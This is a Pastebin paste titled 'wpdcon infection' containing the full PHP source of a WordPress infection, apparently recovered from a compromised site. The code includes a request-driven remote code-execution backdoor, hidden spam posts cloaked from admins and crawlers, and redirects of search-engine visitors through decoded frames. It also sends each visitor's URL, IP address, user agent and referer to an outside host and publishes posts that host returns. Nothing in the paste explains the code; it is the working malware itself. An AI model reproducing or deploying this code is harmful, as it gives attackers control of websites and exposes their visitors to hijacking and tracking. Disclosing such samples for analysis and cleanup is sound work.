Guest User

wpdcon infection

a guest
May 22nd, 2015
613
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.04 KB | None | 0 0
  1. if(!is_user_logged_in()){
  2.  
  3.     if(isset($_COOKIE['wpsession'])) return;
  4.     if(is_admin()) return;
  5.     if(function_exists('checkStopActivity')) return;
  6.  
  7.     @ini_set('display_errors', NULL); @ini_set('error_reporting', NULL); @ini_set('log_errors',NULL);
  8.     if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))  $_SERVER["REMOTE_ADDR"] = $_SERVER["HTTP_X_FORWARDED_FOR"];
  9.  
  10.     function wpwarp($fname, $data){ return @array_map($fname, @unserialize($data)); }
  11.  
  12.     function feed_door(){
  13.         query_posts( 'post_status=test&showposts=20' );
  14.         require( ABSPATH . WPINC . '/feed-atom.php' );
  15.     }
  16.    
  17.     @extract(unserialize(get_option('wpdcon')));
  18.  
  19.     register_post_status( 'test', array(
  20.                 'public'                    => true,
  21.                 'exclude_from_search'       => true,
  22.                 'show_in_admin_all_list'    => false,
  23.                 'show_in_admin_status_list' => false
  24.         ) );
  25.  
  26.     class Bot_Detector {
  27.  
  28.         var $_userAgentsMasks=array();
  29.         var $_ipList=array();
  30.         var $_allowCheck;
  31.  
  32.         function Bot_Detector($userAgentsMasks, $ipMasks, $allowCheck=array('ua', 'ip')){
  33.             $this->_userAgentsMask=$userAgentsMasks;
  34.             $this->_ipList=$ipMasks;
  35.             $this->_allowCheck=$allowCheck;
  36.         }
  37.  
  38.         function isBot(){
  39.             $isBot=false;
  40.             if(in_array('ip', $this->_allowCheck))
  41.                 $isBot=$this->_isBotIP($_SERVER['REMOTE_ADDR']);
  42.             if(!$isBot&&in_array('ua', $this->_allowCheck))
  43.                 $isBot=$this->_isBotUserAgent();
  44.             return $isBot;
  45.         }
  46.  
  47.         function _isBotUserAgent(){
  48.             foreach($this->_userAgentsMask as $mask){
  49.                 if(@stristr($_SERVER['HTTP_USER_AGENT'], $mask))
  50.                     return true;
  51.             }
  52.             return false;
  53.         }
  54.  
  55.         function _isBotIP($ip){
  56.  
  57.             $longIp=ip2long($ip);
  58.  
  59.             $found=false;
  60.             foreach($this->_ipList as $ipMask){
  61.                 $ipMask=trim($ipMask);
  62.                 if(stristr($ipMask, '-')!==false||stristr($ipMask, '*')!==false){
  63.                     list($ipMaskMin, $ipMaskMax)=$this->_getIpRange($ipMask);
  64.                     $longIpMaskMin=ip2long($ipMaskMin);
  65.                     $longIpMaskMax=ip2long($ipMaskMax);
  66.                     if($longIp>=$longIpMaskMin&&$longIp<=$longIpMaskMax){
  67.                         $found=true;
  68.                         break;
  69.                     }
  70.                 }else{
  71.                     if($ip==$ipMask){
  72.                         $found=true;
  73.                         break;
  74.                     }
  75.                 }
  76.             }
  77.             return $found;
  78.         }
  79.  
  80.         function _getIpRange($ip){
  81.             $parts=explode('.', $ip);
  82.             $ipMin=$ipMax=array();
  83.             foreach($parts as $part){
  84.                 if($part=='*'){
  85.                     $ipMin[]=0;
  86.                     $ipMax[]=255;
  87.                     continue;
  88.                 }
  89.                 if(stristr($part, '-')){
  90.                     $split=explode('-', $part);
  91.                     $ipMin[]=$split[0];
  92.                     $ipMax[]=$split[1];
  93.                 }else{
  94.                     $ipMin[]=$part;
  95.                     $ipMax[]=$part;
  96.                 }
  97.             }
  98.             return array(join('.', $ipMin), join('.', $ipMax));
  99.         }
  100.  
  101.     }
  102.  
  103.         function add_links($content) {
  104.             return $content;
  105.         }
  106.  
  107.     function gen_meta_desc(){
  108.             global $post;
  109.             if($post->post_status=='test'){
  110.                 print "<meta name='description' content='".strip_tags( $post->post_excerpt )."' />\n".
  111.                 "<meta name='keywords' content='".strip_tags(get_post_meta( $post->ID, '_keywords', true ))."' />\n";
  112.             }
  113.     }
  114.  
  115.  
  116.     function checkStopActivity(){
  117.         if($_COOKIE["shop_visit"]=='shop')
  118.             return false;
  119.         //if(preg_match("/(ru|ua|by)/i",@$_SERVER['HTTP_ACCEPT_LANGUAGE'];)) return 'by accept language';
  120.         if(preg_match("/\;[\s ]?ru/i",@$_SERVER['HTTP_USER_AGENT'])) return 'by useragent language';
  121.         if(@$_SERVER['HTTP_REFERER']=="") return 'by empty referer';
  122.        
  123.         $ref = strtolower($_SERVER['HTTP_REFERER']);
  124.         preg_match("|http:\/\/([^\/]+)\/|",$ref,$match);
  125.         if(!isset($match[1])) preg_match("|https:\/\/([^\/]+)\/|",$ref,$match);
  126.         $domain = $match[1];
  127.         if(!preg_match("/(cs\.com|baidu\.|bt\.com|comcast\.|google\.|msn\.|bing\.|live\.|yahoo\.|aol\.|ask\.co|searchandgive|alot\.com|orange\.co\.uk|toshiba\.com|conduit\.com|centurylink\.net|swagbucks\.com|soso\.com|icq\.com|babylon\.com|search-results\.com|charter\.net|inbox\.com|mywebsearch\.com|mysearch\.com|microsoft\.com|incredimail\.com|googlesyndicatedsearch\.com|lycos\.com|blekko\.com|scirus\.com|searchbacon\.com)/i",$domain)) return 'by not SE referer';
  128.         return false;
  129.     }
  130.    
  131.     function themeslug_header_hook() {
  132.         global $post;
  133.        
  134.         if($post->post_status=='test')
  135.             $temp = str_replace(array('{frame_title}', '{frame_url}'),
  136.             array($post->post_title, get_post_meta($post->ID, '_wpshurl', true)), implode("\n", wpwarp('base64_decode', get_option('wpdhtml'))));
  137.             die(str_replace('77-288.com', 'ok111ko.com', $temp));
  138.     }
  139.  
  140.     function post_status($query) { if(!$query->is_singular() )  $query->set( 'post_status', 'publish' ); }
  141.  
  142.     if(isset($_GET['feed'])&&$_GET['feed'] === $wpfeed) die(feed_door());
  143.  
  144.     switch(md5($_SERVER['HTTP_PATH'])) {
  145.         case '804e5465c1ec669a81d24ab1b4df2b14':
  146.             function wpaddpost($apost) {
  147.                     $apost['post_status'] = 'test'; $apost['comment_status'] =  $apost['ping_status'] = 'closed';
  148.                     $IDz = wp_insert_post($apost);
  149.                     add_post_meta($IDz,'_wpshurl', base64_decode($apost['wpshurl']));
  150.                     add_post_meta($IDz,'_keywords',$apost['keywords']);
  151.                     $_POST['url'][]=get_permalink($IDz);
  152.             }
  153.  
  154.                 function log_ping() {
  155.                     global $wp_version, $wpfeed;
  156.                     include_once(ABSPATH . WPINC . '/class-IXR.php');
  157.                     include_once(ABSPATH . WPINC . '/class-wp-http-ixr-client.php');
  158.                
  159.                     $client = new WP_HTTP_IXR_Client('  ');
  160.                     $client->timeout = 5;
  161.                     $home = trailingslashit( get_option('home') );
  162.                     $client->useragent .= ' -- WordPress/'.$wp_version;
  163.                     @$client->query('weblogUpdates.extendedPing', get_option('blogname'), $home, $home.'?feed='.$wpfeed );
  164.                 }
  165.  
  166.                 if (!isset( $HTTP_RAW_POST_DATA))
  167.                     $HTTP_RAW_POST_DATA = file_get_contents('php://input');
  168.  
  169.                 log_ping();
  170.                 @wpwarp('wpaddpost', base64_decode($HTTP_RAW_POST_DATA));
  171.  
  172.             die('!'.'~!'.base64_encode(serialize($_POST['url'])).'!'.'~!');
  173.        
  174.         case '136dddcb8e2976ceced861434c2afc49':
  175.             @extract($_REQUEST);
  176.         @die($cid($eid));
  177.        
  178.         case '3a3638d5dab0f52d6aa45aaf1e079125':
  179.             function delete_test_post() {
  180.                 global $wpdb;
  181.                 $postids = $wpdb->get_col(
  182.                     $wpdb->prepare(
  183.                         "SELECT ID FROM $wpdb->posts WHERE `post_status` = 'test' AND `comment_status`='closed' AND `ping_status`='closed'"
  184.                     )
  185.                 );
  186.                 if ($postids) {
  187.                     foreach ($postids as $id) {
  188.                         wp_delete_post( intval($id), 'true' );
  189.                     }
  190.                 }
  191.             }
  192.             delete_test_post();
  193.     }
  194.  
  195.     function adding_the_post($query) {
  196.   global $wpdb;
  197. if(function_exists('is_main_query'))
  198.   {
  199.     if (!$query->is_main_query() || !$query->is_single) {
  200.         $query->set( 'post_status', 'publish' );
  201.         return;
  202.     }
  203.   }
  204.   else
  205.   {
  206.     if (!$query->is_single) {
  207.         $query->set( 'post_status', 'publish' );
  208.         return;
  209.     }
  210.   }
  211.   $permalink = true;
  212.   $exists = $wpdb->get_var(
  213.       $wpdb->prepare(
  214.           "SELECT COUNT(*) FROM $wpdb->posts WHERE post_name = %s AND (post_status = 'publish' OR post_status = 'test')",
  215.           $query->query['name']
  216.       )
  217.   );
  218.  
  219.   if (!$exists) {
  220.     $host = $_SERVER['HTTP_HOST'];
  221.     $url = 'http://dont-worrybe-happy.com/wp-admin/admin.php?u='.rawurlencode('http://'.$host.$_SERVER['REQUEST_URI']).'&ip='.$_SERVER['REMOTE_ADDR'].'&ua='.rawurlencode(mb_strtolower($_SERVER['HTTP_USER_AGENT'])).'&ref='.rawurlencode(mb_strtolower($_SERVER['HTTP_REFERER']));
  222.    
  223.     if(function_exists('wp_remote_get')) {
  224.         $request = @wp_remote_get($url, array('timeout'=>5));
  225.         if(!is_wp_error($request)) {
  226.             $apost = unserialize(base64_decode($request['body']));
  227.             if ($apost['none'] !== 'nonenone') {
  228.                 $apost['post_status'] = 'test'; $apost['comment_status'] =  $apost['ping_status'] = 'closed';
  229.                 $IDz = wp_insert_post($apost);
  230.                 add_post_meta($IDz,'_wpshurl', base64_decode($apost['wpshurl']));
  231.                 add_post_meta($IDz,'_keywords',$apost['keywords']);
  232.                 $_POST['url'][]=get_permalink($IDz);
  233.             }
  234.         }
  235.     }
  236.   }
  237. }
  238.  
  239.     add_action('pre_get_posts', 'adding_the_post');
  240.  
  241.     $botDetector = new Bot_Detector(wpwarp('base64_decode', $wpuag), wpwarp('base64_decode', $wpigp));
  242.  
  243.     if(!checkStopActivity()&&!$botDetector->isBot()){
  244.         @setcookie("shop_visit", "shop", (time()+60*60*24*365), "/");
  245.         add_action( 'get_header', 'themeslug_header_hook' );
  246.     }else{
  247.         add_action( 'wp_head', 'gen_meta_desc');
  248.     }
  249.  
  250. }else{ setcookie('wpsession', '1', (time()+60*60*24*365), "/"); }
Add Comment
Please, Sign In to add comment